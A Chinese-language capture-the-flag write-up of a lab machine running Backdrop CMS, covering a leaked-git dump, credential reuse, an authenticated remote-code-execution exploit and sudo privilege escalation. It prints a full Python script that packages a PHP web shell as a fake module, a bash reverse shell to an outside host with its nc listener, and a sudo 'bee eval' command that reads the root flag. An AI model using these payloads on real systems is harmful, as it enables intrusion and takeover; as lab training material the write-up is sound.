最近也是对赛季靶机下手了,正好刚出一个 easy 难度的靶机,来热热身

# git 泄漏

照例是先用 nmap 扫描的

sudo nmap -A 10.10.11.58


本来还想用 dirsearch 扫一下目录结构的,爆成这样了都(虽然还是去看了一眼,也大差不差)

python3 GitHack.py http://10.10.11.58/.git


蛮多的还

# 信息搜集

网页中给了一个登录框,想来获取账密登录成为管理员应该是必经的一步,那就在 git 泄漏的文件中进行信息搜集吧
最明显的一点就是给出的 setting.php 文件

能找到数据库账密,但是限制了本地登录,接着去扒拉账密
其中找个账号真是要瞎了我的眼,库库乱找一通什么都没看到,在学长的提点下,利用 grep 进行筛选
由于他之前已经利用关键词 user 找了一遍,没找到。看到登录框中要求账号为 username 或者 email 地址

那我就去翻翻 email

grep -r "email"

也是库库多,本来我以为就硬看了,没想到,在翻一半的时候看到了这个

哦吼?此事在 LinkVortex 中亦有记载
直接给我来思路了,查找 @dog.htb 这个关键词,一下子就找到了,爽!
位置在 /files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json

接下来就是找密码了,这个也🍬
先是按 password 找一遍,再按 passwd 找一遍,都没有,到处翻翻属于是,后面想起来有个数据库密码,抱着侥幸心理去试了一下,您猜怎么着?进去啦(¯﹃¯)

# cms 漏洞

里面好多内容啊,先不着急一个个看,从 cms 本身入手,这里是 backdrop cms,版本从先前的信息搜集中获取

去网上搜一圈就能找到脚本
是个 rce 的漏洞
通过利用 admin/installer/manual 的文件上传就可以实现 rce

原脚本给的是 zip 格式的,这里要求 tar 或者 gz 等,得稍微改一下

import os
import time
import tarfile
def create_files():
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x
    configure = admin/structure/block
    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)
    with open(shell_info_path, "w") as file:
        file.write(info_content)
    shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path
def create_tar(info_path, php_path):
    tar_filename = "shell.tar"
    with tarfile.open(tar_filename, "w") as tarf:
        tarf.add(info_path, arcname='shell/shell.info')
        tarf.add(php_path, arcname='shell/shell.php')
    return tar_filename
def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)
    print("Evil module generating...")
    time.sleep(2)
    info_path, php_path = create_files()
    tar_filename = create_tar(info_path, php_path)
    print("Evil module generated!", tar_filename)
    time.sleep(2)
    print("Go to " + url + "/admin/modules/install and upload the " +
          tar_filename + " for Manual Installation.")
    time.sleep(2)
    print("Your shell address:", url + "/modules/shell/shell.php")
if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python script.py [url]")
    else:
        main(sys.argv[1])

生成压缩包

pyhton3 backdrop.py 10.10.11.58


上传

成功上马,访问地址,直接 cat /etc/passwd

可以看到用户名,但高兴不过三秒,马没了说是
我直接 Σ(゚Д゚;
改变策略那就,反弹 shell 吧
改动里面的 php 代码

system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.42/8888 0>&1'");
nc -lvnp 8888


OK!!!
这里已经有点懂它的尿性了,直接尝试数据库密码

# 提权

sudo 不能在非交互 shell 上用
先切回 ssh 登录吧

sudo -l


给了个脚本,看看有什么功能

其中的 --root 参数可以将其安装到指定目录,可以执行相关命令

sudo /usr/local/bin/bee --root=/var/www/html eval "system('cat /root/root.txt);"


当时写昏了,多写了个 echo 说是